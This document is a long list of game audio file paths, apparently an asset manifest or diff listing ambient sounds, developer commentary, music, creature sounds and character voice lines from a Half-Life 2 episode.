+ambient/levels/citadel/stalk_StalkerTrainStartUp.wav +ambient/levels/citadel/stalk_StalkerTrainXtraBump01.wav +ambient/levels/citadel/stalk_StalkerTrainXtraBump02.wav +ambient/levels/citadel/stalk_StalkerTrainXtraBump03.wav +ambient/levels/citadel/stalk_StalkerTrnRide_L-R_1_13_05.wav +ambient/levels/citadel/stalk_TrainDoorOpen.wav +ambient/levels/city/CitadelOutsideFX01.wav +ambient/levels/city/CitadelOutsideFX02.wav +ambient/levels/city/CitadelOutsideFX03.wav +ambient/levels/city/CitadelOutsideFX04.wav +ambient/levels/city/CitadelOutsideFX05.wav +ambient/levels/city/CitadelOutsideFX06.wav +ambient/levels/city/CitadelOutsideFX07.wav +ambient/levels/city/CitadelOutsideFX08.wav +ambient/levels/city/CitadelOutsideFX09.wav +ambient/levels/city/citadel_alertgrind_loop1.wav +ambient/levels/city/citadel_cloudhit1.wav +ambient/levels/city/citadel_cloudhit2.wav +ambient/levels/city/citadel_cloudhit3.wav +ambient/levels/city/citadel_cloudhit4.wav +ambient/levels/city/citadel_cloudhit5.wav +ambient/levels/city/citadel_critical_loop1.wav +ambient/levels/city/citadel_grinder_loop1.wav +ambient/levels/city/citadel_nearwinds_loop1.wav +ambient/levels/city/citadel_winds_loop1.wav +ambient/levels/city/citizen_bridge_wheel_loop1.wav +ambient/levels/city/ZombiDoorLoop01.wav +ambient/levels/city/ZombiDoorLoop02.wav +ambient/levels/city/ZombiDoorScrapeLoop01.wav +ambient/levels/intro/DogDoorHitGround_0_33_09.wav +ambient/levels/intro/DogGunshipDrop.wav +ambient/levels/intro/DogGunshipPickUp01.wav +ambient/levels/intro/DogGunshipPickUp02.wav +ambient/levels/intro/DogPickUpVan_1_18_13.wav +ambient/levels/intro/DogShakeVan1_25_00.wav +ambient/levels/intro/DogTearOffVanDoor.wav +ambient/levels/intro/DogThrowVan1_33_21.wav +ambient/levels/intro/DogThrowVanImpact_0_19_11.wav +ambient/levels/intro/DoorImpact01.wav +ambient/levels/intro/DoorImpact02.wav +ambient/levels/intro/DoorImpact03.wav +ambient/levels/intro/Rhumble_1_42_07.wav +ambient/levels/intro/Rhumble_2_12_13.wav +ambient/levels/intro/VanFall_2_14_00.wav +ambient/levels/intro/VanImpact1_35_21.wav +ambient/levels/intro/VanRidePartII_2_02_11.wav +ambient/levels/intro/VanRideStart_1_51_13.wav +ambient/levels/intro/VanShakes_1_44_12.wav +ambient/outro/3rdAmb.wav +ambient/outro/AdvisorAttack01.wav +ambient/outro/AdvisorAttack02.wav +ambient/outro/AdvisorAttack03.wav +ambient/outro/BeginningAmbience.wav +ambient/outro/CircleExplosion01.wav +ambient/outro/CitadelFinale.wav +ambient/outro/EndAmbience.wav +ambient/outro/Explosion02.wav +ambient/outro/GunShipCrash.wav +ambient/outro/LowerCitadelExplosionGroup.wav +ambient/outro/MessagePacket01.wav +ambient/outro/MessagePacket02.wav +ambient/outro/MessagePacketsMultiple.wav +ambient/outro/MessagePacketsMultiple02.wav +ambient/outro/OutOfTunnel2ndAmb.wav +ambient/outro/PodPassby01.wav +ambient/outro/PodPassby02.wav +ambient/outro/Thunder01.wav +ambient/outro/Thunder02.wav +ambient/outro/Thunder03.wav +ambient/outro/Thunder04.wav +ambient/outro/Thunder05.wav +ambient/outro/Thunder06.wav +ambient/outro/Thunder07.wav +commentary/3stepapproach.wav +commentary/advisorsighting.wav +commentary/airventcollapse.wav +commentary/ALG_strategy.wav +commentary/alg_vs_apc.wav +commentary/alyxcitadeltone.wav +commentary/alyxconsole.wav +commentary/alyxnag.wav +commentary/alyxrunspeed.wav +commentary/alyxsniper.wav +commentary/alyxthekey.wav +commentary/alyx_ledge.wav +commentary/alyx_specular.wav +commentary/artgameplaystandards.wav +commentary/artpassgarage.wav +commentary/balltubes.wav +commentary/bangingzombies.wav +commentary/barneysbigcrowbar.wav +commentary/battleofreflexes.wav +commentary/benefitsofdarkness.wav +commentary/burrowblocking.wav +commentary/c17vista.wav +commentary/charactersys.wav +commentary/citadellook.wav +commentary/citadel_skybox.wav +commentary/citdestruction.wav +commentary/citylook.wav +commentary/collapsingelevator.wav +commentary/combinecorelook.wav +commentary/corecolorscheme.wav +commentary/coredoors.wav +commentary/corepaths.wav +commentary/coresphere.wav +commentary/crashedstalkercar.wav +commentary/crouchingalyx.wav +commentary/crumbtrail.wav +commentary/dogmyhero.wav +commentary/dog_dropship.wav +commentary/dog_throw.wav +commentary/doorblasts.wav +commentary/drawingattention.wav +commentary/dynamicss.wav +commentary/escortmap.wav +commentary/falling_debris.wav +commentary/finalcontrolroompuzzle.wav +commentary/finalereqs.wav +commentary/firstvista.wav +commentary/flares.wav +commentary/flashlightgameplay.wav +commentary/followthewire.wav +commentary/foreshadowgunship.wav +commentary/garrisonapproach.wav +commentary/gunshipcloseup.wav +commentary/gunshipdesign.wav +commentary/hackingrollers.wav +commentary/hdrcomment.wav +commentary/holdupasec.wav +commentary/holetraining.wav +commentary/hospitalart.wav +commentary/hospitalprops.wav +commentary/hospitalrespite.wav +commentary/hurryback.wav +commentary/intro.wav +commentary/intro_design.wav +commentary/intro_effects.wav +commentary/justhavetodoit.wav +commentary/kleinercast.wav +commentary/likeablealyx.wav +commentary/metalplates.wav +commentary/monitorscene.wav +commentary/monitor_scene.wav +commentary/monsterintro.wav +commentary/newstrider.wav +commentary/newtrainstation.wav +commentary/noammo.wav +commentary/nodegraph.wav +commentary/ohmygod.wav +commentary/oldschool.wav +commentary/padlockmistakes.wav +commentary/plausiblerepopulation.wav +commentary/podrising.wav +commentary/podroomlook.wav +commentary/poisonambush.wav +commentary/powerboxes.wav +commentary/puzzlearc.wav +commentary/puzzlerefinement.wav +commentary/responserules.wav +commentary/rolleradventure.wav +commentary/rollertraining.wav +commentary/sealingoffcafe.wav +commentary/secondballtube.wav +commentary/separatefromalyx.wav +commentary/shotgunalyx.wav +commentary/silhouette.wav +commentary/skilllevelchange.wav +commentary/skybridgezombies.wav +commentary/spacerefinement.wav +commentary/stalkerball.wav +commentary/stalkeriteration.wav +commentary/stalkertrainmodels.wav +commentary/strollwithbarney.wav +commentary/tempcover.wav +commentary/thecore.wav +commentary/traincarmodel.wav +commentary/tripminetraps.wav +commentary/turrets.wav +commentary/vortexoflove.wav +commentary/weaponpickup.wav +commentary/whatwasthatthing.wav +commentary/whereisshe.wav +commentary/youdidthemath.wav +commentary/youremynewhero.wav +commentary/zombietrap.wav +commentary/zombinegrenades.wav +commentary/zombinemusic.wav +music/VLVX_song1.mp3 +music/VLVX_song11.mp3 +music/VLVX_song12.mp3 +music/VLVX_song18.mp3 +music/VLVX_song19a.mp3 +music/VLVX_song19b.mp3 +music/VLVX_song2.mp3 +music/VLVX_song21.mp3 +music/VLVX_song4.mp3 +music/VLVX_song8.mp3 +npc/advisor/AdvisorHeadVx01.wav +npc/advisor/AdvisorHeadVx02.wav +npc/advisor/AdvisorHeadVx03.wav +npc/advisor/AdvisorHeadVx04.wav +npc/advisor/AdvisorHeadVx05.wav +npc/advisor/AdvisorHeadVx06.wav +npc/advisor/AdvisorScreenVx01.wav +npc/advisor/AdvisorScreenVx02.wav +npc/advisor/AdvisorScreenVx03.wav +npc/advisor/AdvisorScreenVx04.wav +npc/advisor/AdvisorScreenVx05.wav +npc/advisor/AdvisorScreenVx06.wav +npc/advisor/AdvisorScreenVx07.wav +npc/advisor/AdvisorScreenVx08.wav +npc/advisor/advisor_speak01.wav +npc/antlion/attack_muffled_double1.wav +npc/antlion/attack_muffled_double2.wav +npc/antlion/attack_muffled_double3.wav +npc/antlion/attack_muffled_single1.wav +npc/antlion/attack_muffled_single2.wav +npc/antlion/attack_muffled_single3.wav +npc/antlion/muffled_boulder_impact_hard1.wav +npc/antlion/muffled_boulder_impact_hard2.wav +npc/antlion/muffled_concrete_break3.wav +npc/antlion_guard/breathe_loop.wav +npc/antlion_guard/far_foot_heavy1.wav +npc/antlion_guard/far_foot_heavy2.wav +npc/antlion_guard/far_foot_light1.wav +npc/antlion_guard/far_foot_light2.wav +npc/antlion_guard/frustrated_growl1.wav +npc/antlion_guard/frustrated_growl2.wav +npc/antlion_guard/frustrated_growl3.wav +npc/antlion_guard/near_foot_heavy1.wav +npc/antlion_guard/near_foot_heavy2.wav +npc/antlion_guard/near_foot_light1.wav +npc/antlion_guard/near_foot_light2.wav +npc/combine_soldier/zipline1.wav +npc/combine_soldier/zipline2.wav +npc/combine_soldier/zipline_clip1.wav +npc/combine_soldier/zipline_clip2.wav +npc/combine_soldier/zipline_clothing1.wav +npc/combine_soldier/zipline_clothing2.wav +npc/combine_soldier/zipline_hitground1.wav +npc/combine_soldier/zipline_hitground2.wav +npc/combine_soldier/vo/off1.wav +npc/combine_soldier/vo/off2.wav +npc/combine_soldier/vo/off3.wav +npc/combine_soldier/vo/on1.wav +npc/combine_soldier/vo/on2.wav +npc/dog/DogPhrase01.wav +npc/dog/DogPhrase02.wav +npc/dog/DogPhrase03.wav +npc/dog/DogPhrase04.wav +npc/dog/DogPhrase05.wav +npc/dog/DogPhrase06.wav +npc/dog/DogPhrase07.wav +npc/dog/DogPhrase08.wav +npc/dog/DogPhrase09.wav +npc/dog/DogPhrase10.wav +npc/dog/DogPhrase11.wav +npc/dog/DogPhrase12.wav +npc/dog/DogPhrase13.wav +npc/dog/DogPhrase14.wav +npc/dog/DogPhrase15.wav +npc/dog/DogPhrase16.wav +npc/dog/DogPhrase17.wav +npc/dog/DogPhrase18.wav +npc/dog/dog_footstep_run01.wav +npc/dog/dog_footstep_run02.wav +npc/dog/dog_footstep_run03.wav +npc/dog/dog_footstep_run04.wav +npc/dog/dog_footstep_run05.wav +npc/dog/dog_footstep_run06.wav +npc/dog/dog_footstep_run07.wav +npc/dog/dog_footstep_run08.wav +npc/dog/dog_footstep_run09.wav +npc/dog/dog_footstep_run10.wav +npc/dog/dog_footstep_walk01.wav +npc/dog/dog_footstep_walk02.wav +npc/dog/dog_footstep_walk03.wav +npc/dog/dog_footstep_walk04.wav +npc/dog/dog_footstep_walk05.wav +npc/dog/dog_footstep_walk06.wav +npc/dog/dog_footstep_walk07.wav +npc/dog/dog_footstep_walk08.wav +npc/dog/dog_footstep_walk09.wav +npc/dog/dog_footstep_walk10.wav +npc/ministrider/alert2.wav +npc/ministrider/alert4.wav +npc/ministrider/ministrider_footstep2.wav +npc/ministrider/ministrider_footstep5.wav +npc/roller/mine/rmine_reprogram.wav +npc/roller/mine/rmine_reprogram1.wav +npc/sniper/echo1.wav +npc/sniper/reload1.wav +npc/sniper/sniper1.wav +npc/stalker/stalker_alert1b.wav +npc/stalker/stalker_alert2b.wav +npc/stalker/stalker_alert3b.wav +npc/stalker/stalker_ambient01.wav +npc/stalker/stalker_die1.wav +npc/stalker/stalker_die2.wav +npc/stalker/stalker_pain1.wav +npc/stalker/stalker_pain2.wav +npc/stalker/stalker_pain3.wav +npc/stalker/stalker_scream1.wav +npc/stalker/stalker_scream2.wav +npc/stalker/stalker_scream3.wav +npc/stalker/stalker_scream4.wav +npc/strider/strider_hunt1.wav +npc/strider/strider_hunt2.wav +npc/strider/strider_hunt3.wav +npc/zombine/gear1.wav +npc/zombine/gear2.wav +npc/zombine/gear3.wav +npc/zombine/zombine_alert1.wav +npc/zombine/zombine_alert2.wav +npc/zombine/zombine_alert3.wav +npc/zombine/zombine_alert4.wav +npc/zombine/zombine_alert5.wav +npc/zombine/zombine_alert6.wav +npc/zombine/zombine_alert7.wav +npc/zombine/zombine_charge1.wav +npc/zombine/zombine_charge2.wav +npc/zombine/zombine_die1.wav +npc/zombine/zombine_die2.wav +npc/zombine/zombine_idle1.wav +npc/zombine/zombine_idle2.wav +npc/zombine/zombine_idle3.wav +npc/zombine/zombine_idle4.wav +npc/zombine/zombine_pain1.wav +npc/zombine/zombine_pain2.wav +npc/zombine/zombine_pain3.wav +npc/zombine/zombine_pain4.wav +npc/zombine/zombine_readygrenade1.wav +npc/zombine/zombine_readygrenade2.wav +vo/episode_1/c17/alyx_npc_comp.wav +vo/episode_1/c17/al_50broke.wav +vo/episode_1/c17/al_50list01.wav +vo/episode_1/c17/al_50list02.wav +vo/episode_1/c17/al_50list03.wav +vo/episode_1/c17/al_50list04.wav +vo/episode_1/c17/al_50list05.wav +vo/episode_1/c17/al_50list06.wav +vo/episode_1/c17/al_airductstory01.wav +vo/episode_1/c17/al_airductstory02.wav +vo/episode_1/c17/al_airductstory03.wav +vo/episode_1/c17/al_airductstory04.wav +vo/episode_1/c17/al_alert_zombies01.wav +vo/episode_1/c17/al_alert_zombies02.wav +vo/episode_1/c17/al_alert_zombies03.wav +vo/episode_1/c17/al_alert_zombies04.wav +vo/episode_1/c17/al_alert_zombies05.wav +vo/episode_1/c17/al_alert_zombies06.wav +vo/episode_1/c17/al_alert_zombies07.wav +vo/episode_1/c17/al_anelevator01.wav +vo/episode_1/c17/al_anelevator02.wav +vo/episode_1/c17/al_anothergunship.wav +vo/episode_1/c17/al_anotherway01.wav +vo/episode_1/c17/al_anotherway02.wav +vo/episode_1/c17/al_antguard.wav +vo/episode_1/c17/al_antguard_victory.wav +vo/episode_1/c17/al_antlionshere01.wav +vo/episode_1/c17/al_antlionshere02.wav +vo/episode_1/c17/al_antlionshere03.wav +vo/episode_1/c17/al_antlionstrapped.wav +vo/episode_1/c17/al_antlions_cantgetoutnow.wav +vo/episode_1/c17/al_antlions_cominguphere.wav +vo/episode_1/c17/al_antlions_cutsupply.wav +vo/episode_1/c17/al_antlions_firstsight.wav +vo/episode_1/c17/al_antlions_goodidea.wav +vo/episode_1/c17/al_antlions_goodwork.wav +vo/episode_1/c17/al_antlions_holycrap.wav +vo/episode_1/c17/al_antlions_keepcontrol.wav +vo/episode_1/c17/al_antlions_pluganyhole.wav +vo/episode_1/c17/al_antlions_plugthatway.wav +vo/episode_1/c17/al_antlions_runoutbullets.wav +vo/episode_1/c17/al_ant_block01.wav +vo/episode_1/c17/al_ant_block02.wav +vo/episode_1/c17/al_ant_block03.wav +vo/episode_1/c17/al_ant_block04.wav +vo/episode_1/c17/al_ant_block05.wav +vo/episode_1/c17/al_ant_block06.wav +vo/episode_1/c17/al_ant_block07.wav +vo/episode_1/c17/al_ant_block08.wav +vo/episode_1/c17/al_ant_block09.wav +vo/episode_1/c17/al_ant_flip.wav +vo/episode_1/c17/al_ant_uncovered01.wav +vo/episode_1/c17/al_ant_uncovered02.wav +vo/episode_1/c17/al_ant_uncovered03.wav +vo/episode_1/c17/al_ant_uncovered04.wav +vo/episode_1/c17/al_awayfromdoors.wav +vo/episode_1/c17/al_backsosoon.wav +vo/episode_1/c17/al_barnacle_lightup.wav +vo/episode_1/c17/al_barnacle_morearound.wav +vo/episode_1/c17/al_barnacle_walkedinto.wav +vo/episode_1/c17/al_barneyoverhere.wav +vo/episode_1/c17/al_barn_bye.wav +vo/episode_1/c17/al_barn_seeyouatstn.wav +vo/episode_1/c17/al_betterchance.wav +vo/episode_1/c17/al_breenbust.wav +vo/episode_1/c17/al_breenshrine.wav +vo/episode_1/c17/al_byebarney.wav +vo/episode_1/c17/al_carefulzombies.wav +vo/episode_1/c17/al_citnag_evac01.wav +vo/episode_1/c17/al_citnag_evac02.wav +vo/episode_1/c17/al_citnag_evac03.wav +vo/episode_1/c17/al_citnag_evac04.wav +vo/episode_1/c17/al_cit_getoutofhere.wav +vo/episode_1/c17/al_cit_goodshot01.wav +vo/episode_1/c17/al_cit_goodshot02.wav +vo/episode_1/c17/al_cit_goodshot03.wav +vo/episode_1/c17/al_cit_goodshot04.wav +vo/episode_1/c17/al_cit_heythanks.wav +vo/episode_1/c17/al_cit_join01.wav +vo/episode_1/c17/al_cit_join02.wav +vo/episode_1/c17/al_cit_join03.wav +vo/episode_1/c17/al_cit_keepmoving.wav +vo/episode_1/c17/al_cit_niceshooting.wav +vo/episode_1/c17/al_claustro.wav +vo/episode_1/c17/al_comeon.wav +vo/episode_1/c17/al_coverstreet.wav +vo/episode_1/c17/al_crabpod_findaway.wav +vo/episode_1/c17/al_crabpod_getaway.wav +vo/episode_1/c17/al_crabpod_omg.wav +vo/episode_1/c17/al_crabpod_wthell.wav +vo/episode_1/c17/al_cramped01.wav +vo/episode_1/c17/al_cramped02.wav +vo/episode_1/c17/al_crank1_gettotrain.wav +vo/episode_1/c17/al_crank2_didntforget.wav +vo/episode_1/c17/al_crank2_done01.wav +vo/episode_1/c17/al_crank2_done02.wav +vo/episode_1/c17/al_crank2_fireout01.wav +vo/episode_1/c17/al_crank2_fireout02.wav +vo/episode_1/c17/al_crank2_onecrank.wav +vo/episode_1/c17/al_crank_crankit.wav +vo/episode_1/c17/al_crank_evac.wav +vo/episode_1/c17/al_crank_found.wav +vo/episode_1/c17/al_crank_gone.wav +vo/episode_1/c17/al_crank_holdon01.wav +vo/episode_1/c17/al_crank_holdon02.wav +vo/episode_1/c17/al_crank_lookslike.wav +vo/episode_1/c17/al_crank_seeifworks.wav +vo/episode_1/c17/al_crank_working.wav +vo/episode_1/c17/al_darkinhere.wav +vo/episode_1/c17/al_dark_almostdone_01.wav +vo/episode_1/c17/al_dark_doorlocked_01.wav +vo/episode_1/c17/al_dark_doorlocked_02.wav +vo/episode_1/c17/al_dark_findpowerbox_01.wav +vo/episode_1/c17/al_dark_findpowerbox_02.wav +vo/episode_1/c17/al_dark_findpowerbox_03.wav +vo/episode_1/c17/al_dark_findpowerbox_04.wav +vo/episode_1/c17/al_dark_foundpowerbox_01.wav +vo/episode_1/c17/al_dark_holdlightsteady_01.wav +vo/episode_1/c17/al_dark_needlight_01.wav +vo/episode_1/c17/al_dark_needlight_02.wav +vo/episode_1/c17/al_dark_success_01.wav +vo/episode_1/c17/al_defensedown01.wav +vo/episode_1/c17/al_defensedown02.wav +vo/episode_1/c17/al_defensedown03.wav +vo/episode_1/c17/al_distractstrider.wav +vo/episode_1/c17/al_dontfall.wav +vo/episode_1/c17/al_dontseehow.wav +vo/episode_1/c17/al_elev_actual.wav +vo/episode_1/c17/al_elev_almosthere.wav +vo/episode_1/c17/al_elev_anyminute.wav +vo/episode_1/c17/al_elev_anyminute_loud.wav +vo/episode_1/c17/al_elev_anytime.wav +vo/episode_1/c17/al_elev_anytime_loud.wav +vo/episode_1/c17/al_elev_cantcall.wav +vo/episode_1/c17/al_elev_closer.wav +vo/episode_1/c17/al_elev_comeon.wav +vo/episode_1/c17/al_elev_crapnopower.wav +vo/episode_1/c17/al_elev_fewsec.wav +vo/episode_1/c17/al_elev_getin.wav +vo/episode_1/c17/al_elev_getingetin.wav +vo/episode_1/c17/al_elev_geton.wav +vo/episode_1/c17/al_elev_godnotagain.wav +vo/episode_1/c17/al_elev_hearsomething01.wav +vo/episode_1/c17/al_elev_hearsomething02.wav +vo/episode_1/c17/al_elev_hearsomething_loud01.wav +vo/episode_1/c17/al_elev_hearsomething_loud02.wav +vo/episode_1/c17/al_elev_hearthat.wav +vo/episode_1/c17/al_elev_herecomes.wav +vo/episode_1/c17/al_elev_heyihear.wav +vo/episode_1/c17/al_elev_hopelight.wav +vo/episode_1/c17/al_elev_isthatlight.wav +vo/episode_1/c17/al_elev_itshere.wav +vo/episode_1/c17/al_elev_itslight.wav +vo/episode_1/c17/al_elev_kidding.wav +vo/episode_1/c17/al_elev_letsgetout.wav +vo/episode_1/c17/al_elev_letsgo.wav +vo/episode_1/c17/al_elev_letsgo_new.wav +vo/episode_1/c17/al_elev_lookshaft.wav +vo/episode_1/c17/al_elev_movingagain.wav +vo/episode_1/c17/al_elev_nomore.wav +vo/episode_1/c17/al_elev_ok.wav +vo/episode_1/c17/al_elev_phew.wav +vo/episode_1/c17/al_elev_pleasewayout.wav +vo/episode_1/c17/al_elev_powersupply.wav +vo/episode_1/c17/al_elev_power_loud_nag01.wav +vo/episode_1/c17/al_elev_power_loud_nag02.wav +vo/episode_1/c17/al_elev_power_loud_nag03.wav +vo/episode_1/c17/al_elev_power_nag01.wav +vo/episode_1/c17/al_elev_power_nag02.wav +vo/episode_1/c17/al_elev_power_nag03.wav +vo/episode_1/c17/al_elev_relief.wav +vo/episode_1/c17/al_elev_seethetop.wav +vo/episode_1/c17/al_elev_somejuice.wav +vo/episode_1/c17/al_elev_soundscloser.wav +vo/episode_1/c17/al_elev_soundscloser_loud.wav +vo/episode_1/c17/al_elev_spark01.wav +vo/episode_1/c17/al_elev_spark02.wav +vo/episode_1/c17/al_elev_thatwasclose01.wav +vo/episode_1/c17/al_elev_thatwasclose02.wav +vo/episode_1/c17/al_elev_thatwasclose03.wav +vo/episode_1/c17/al_elev_thoughtwenever.wav +vo/episode_1/c17/al_elev_tooclose.wav +vo/episode_1/c17/al_elev_trouble.wav +vo/episode_1/c17/al_elev_waysurface.wav +vo/episode_1/c17/al_elev_whatstakingsolong.wav +vo/episode_1/c17/al_elev_whatstakingsolong_loud.wav +vo/episode_1/c17/al_elev_whereselev.wav +vo/episode_1/c17/al_elev_whereselev_loud.wav +vo/episode_1/c17/al_elev_wonderwire.wav +vo/episode_1/c17/al_elev_youseelight.wav +vo/episode_1/c17/al_elev_zombiesurprise.wav +vo/episode_1/c17/al_escape_rideswaiting.wav +vo/episode_1/c17/al_escape_trainsallset.wav +vo/episode_1/c17/al_escape_trainsready.wav +vo/episode_1/c17/al_evac_advisor01.wav +vo/episode_1/c17/al_evac_advisor02.wav +vo/episode_1/c17/al_evac_aimstrider.wav +vo/episode_1/c17/al_evac_allaboard.wav +vo/episode_1/c17/al_evac_byebarney01.wav +vo/episode_1/c17/al_evac_byebarney02.wav +vo/episode_1/c17/al_evac_byebarney03.wav +vo/episode_1/c17/al_evac_citadel_lit.wav +vo/episode_1/c17/al_evac_cits01.wav +vo/episode_1/c17/al_evac_cits02.wav +vo/episode_1/c17/al_evac_cits03.wav +vo/episode_1/c17/al_evac_cits04.wav +vo/episode_1/c17/al_evac_congrat01.wav +vo/episode_1/c17/al_evac_congrat02.wav +vo/episode_1/c17/al_evac_congrat03.wav +vo/episode_1/c17/al_evac_congrat04.wav +vo/episode_1/c17/al_evac_eventually01.wav +vo/episode_1/c17/al_evac_eventually02.wav +vo/episode_1/c17/al_evac_eventually03.wav +vo/episode_1/c17/al_evac_findbarney.wav +vo/episode_1/c17/al_evac_freetrain.wav +vo/episode_1/c17/al_evac_freetrain_alt.wav +vo/episode_1/c17/al_evac_good.wav +vo/episode_1/c17/al_evac_goodjob.wav +vo/episode_1/c17/al_evac_gostrider.wav +vo/episode_1/c17/al_evac_gothim01.wav +vo/episode_1/c17/al_evac_gothim02.wav +vo/episode_1/c17/al_evac_gunship.wav +vo/episode_1/c17/al_evac_headout.wav +vo/episode_1/c17/al_evac_headstart01.wav +vo/episode_1/c17/al_evac_headstart02.wav +vo/episode_1/c17/al_evac_keepthemoff.wav +vo/episode_1/c17/al_evac_leaveittoyou.wav +vo/episode_1/c17/al_evac_leaveyoutoit.wav +vo/episode_1/c17/al_evac_lookrpg.wav +vo/episode_1/c17/al_evac_madeit.wav +vo/episode_1/c17/al_evac_nag_apc01.wav +vo/episode_1/c17/al_evac_nag_apc02.wav +vo/episode_1/c17/al_evac_nag_gunship01.wav +vo/episode_1/c17/al_evac_nag_gunship02.wav +vo/episode_1/c17/al_evac_nag_rpg01.wav +vo/episode_1/c17/al_evac_nag_rpg02.wav +vo/episode_1/c17/al_evac_nextarea.wav +vo/episode_1/c17/al_evac_nextgroup01.wav +vo/episode_1/c17/al_evac_nextgroup02.wav +vo/episode_1/c17/al_evac_nextgroup03.wav +vo/episode_1/c17/al_evac_nextgroup04.wav +vo/episode_1/c17/al_evac_nextgroup05.wav +vo/episode_1/c17/al_evac_nexttrack.wav +vo/episode_1/c17/al_evac_notsohard01.wav +vo/episode_1/c17/al_evac_notsohard02.wav +vo/episode_1/c17/al_evac_notsohard03.wav +vo/episode_1/c17/al_evac_nowstrider.wav +vo/episode_1/c17/al_evac_ontous01.wav +vo/episode_1/c17/al_evac_ontous02.wav +vo/episode_1/c17/al_evac_protect01.wav +vo/episode_1/c17/al_evac_protect02.wav +vo/episode_1/c17/al_evac_protect03.wav +vo/episode_1/c17/al_evac_protect04.wav +vo/episode_1/c17/al_evac_protect05.wav +vo/episode_1/c17/al_evac_remind01.wav +vo/episode_1/c17/al_evac_remind02.wav +vo/episode_1/c17/al_evac_remind03.wav +vo/episode_1/c17/al_evac_remind04.wav +vo/episode_1/c17/al_evac_ridsniper.wav +vo/episode_1/c17/al_evac_shotgundrop.wav +vo/episode_1/c17/al_evac_sniper.wav +vo/episode_1/c17/al_evac_soundsgood01.wav +vo/episode_1/c17/al_evac_soundsgood02.wav +vo/episode_1/c17/al_evac_takestand.wav +vo/episode_1/c17/al_evac_thatsright.wav +vo/episode_1/c17/al_evac_trainfilling01.wav +vo/episode_1/c17/al_evac_trainfilling02.wav +vo/episode_1/c17/al_evac_watchsniper.wav +vo/episode_1/c17/al_evac_wemadeit.wav +vo/episode_1/c17/al_evac_werehere.wav +vo/episode_1/c17/al_evac_yes.wav +vo/episode_1/c17/al_excuseminute.wav +vo/episode_1/c17/al_figureaway.wav +vo/episode_1/c17/al_finale_allaboard.wav +vo/episode_1/c17/al_finale_gettrain.wav +vo/episode_1/c17/al_finale_goingout.wav +vo/episode_1/c17/al_finale_goingout_loud.wav +vo/episode_1/c17/al_finale_herewego.wav +vo/episode_1/c17/al_finale_herewego_alt.wav +vo/episode_1/c17/al_finale_holdingit.wav +vo/episode_1/c17/al_finale_jumpon.wav +vo/episode_1/c17/al_finale_lasttrain.wav +vo/episode_1/c17/al_finale_otherside01.wav +vo/episode_1/c17/al_finale_otherside02.wav +vo/episode_1/c17/al_finale_otherside_loud01.wav +vo/episode_1/c17/al_finale_otherside_loud02.wav +vo/episode_1/c17/al_finale_seeingdad.wav +vo/episode_1/c17/al_finale_wediditg01.wav +vo/episode_1/c17/al_finale_wediditg02.wav +vo/episode_1/c17/al_firefight01.wav +vo/episode_1/c17/al_firefight02.wav +vo/episode_1/c17/al_flares01.wav +vo/episode_1/c17/al_flares02.wav +vo/episode_1/c17/al_flares03.wav +vo/episode_1/c17/al_flares_first.wav +vo/episode_1/c17/al_flares_goingout.wav +vo/episode_1/c17/al_flood_floodroom01.wav +vo/episode_1/c17/al_flood_floodroom02.wav +vo/episode_1/c17/al_flood_floodroom03.wav +vo/episode_1/c17/al_flood_floodroom04.wav +vo/episode_1/c17/al_foundplace.wav +vo/episode_1/c17/al_garage_hearthink.wav +vo/episode_1/c17/al_garage_stragglers01.wav +vo/episode_1/c17/al_garage_stragglers02.wav +vo/episode_1/c17/al_garrison_getin.wav +vo/episode_1/c17/al_garrison_omgcitadel01.wav +vo/episode_1/c17/al_garrison_omgcitadel02.wav +vo/episode_1/c17/al_garrison_omgcitadel03.wav +vo/episode_1/c17/al_garrison_phew.wav +vo/episode_1/c17/al_garrison_stillhavetogetthru.wav +vo/episode_1/c17/al_gate_anyluckyet.wav +vo/episode_1/c17/al_gate_cantbelieve.wav +vo/episode_1/c17/al_gate_canthearus.wav +vo/episode_1/c17/al_gate_checkside.wav +vo/episode_1/c17/al_gate_doestrick.wav +vo/episode_1/c17/al_gate_goodletsgo.wav +vo/episode_1/c17/al_gate_heyupthere.wav +vo/episode_1/c17/al_gate_lookaround.wav +vo/episode_1/c17/al_gate_noitslocked.wav +vo/episode_1/c17/al_gate_ohgodno.wav +vo/episode_1/c17/al_gate_seeanyway.wav +vo/episode_1/c17/al_gate_slotforcrank.wav +vo/episode_1/c17/al_gate_spotwheel.wav +vo/episode_1/c17/al_gate_stillday.wav +vo/episode_1/c17/al_getacrosshow.wav +vo/episode_1/c17/al_getawayfromdoors.wav +vo/episode_1/c17/al_getbusy.wav +vo/episode_1/c17/al_getthemmoving.wav +vo/episode_1/c17/al_giftshop01.wav +vo/episode_1/c17/al_giftshop02.wav +vo/episode_1/c17/al_goodmeat.wav +vo/episode_1/c17/al_goodthink.wav +vo/episode_1/c17/al_goonbarney.wav +vo/episode_1/c17/al_gotyourback.wav +vo/episode_1/c17/al_gship_againagain.wav +vo/episode_1/c17/al_gship_cool.wav +vo/episode_1/c17/al_gship_crowbar01.wav +vo/episode_1/c17/al_gship_crowbar02.wav +vo/episode_1/c17/al_gship_holyterror01.wav +vo/episode_1/c17/al_gship_holyterror02.wav +vo/episode_1/c17/al_gship_holyterror03.wav +vo/episode_1/c17/al_gship_holyterror04.wav +vo/episode_1/c17/al_gship_holyterror05.wav +vo/episode_1/c17/al_gship_mess.wav +vo/episode_1/c17/al_gship_nuts.wav +vo/episode_1/c17/al_happykleiner.wav +vo/episode_1/c17/al_heretheycome.wav +vo/episode_1/c17/al_hiding01.wav +vo/episode_1/c17/al_hiding02.wav +vo/episode_1/c17/al_hiding03.wav +vo/episode_1/c17/al_holdingback.wav +vo/episode_1/c17/al_holesblocked_getoffstreet01.wav +vo/episode_1/c17/al_holesblocked_getoffstreet02.wav +vo/episode_1/c17/al_hospital_afteryou.wav +vo/episode_1/c17/al_hospital_didallright.wav +vo/episode_1/c17/al_hospital_electro.wav +vo/episode_1/c17/al_hospital_fallthru01.wav +vo/episode_1/c17/al_hospital_fallthru02.wav +vo/episode_1/c17/al_hospital_fallthru03.wav +vo/episode_1/c17/al_hospital_foundshotgun01.wav +vo/episode_1/c17/al_hospital_foundshotgun02.wav +vo/episode_1/c17/al_hospital_heretheycome.wav +vo/episode_1/c17/al_hospital_illgetthis.wav +vo/episode_1/c17/al_hospital_letsgo.wav +vo/episode_1/c17/al_hospital_medsupplies.wav +vo/episode_1/c17/al_hospital_morezombies.wav +vo/episode_1/c17/al_hospital_oneatatime.wav +vo/episode_1/c17/al_hospital_roomsweeper.wav +vo/episode_1/c17/al_hospital_shallwego.wav +vo/episode_1/c17/al_hospital_swamped01.wav 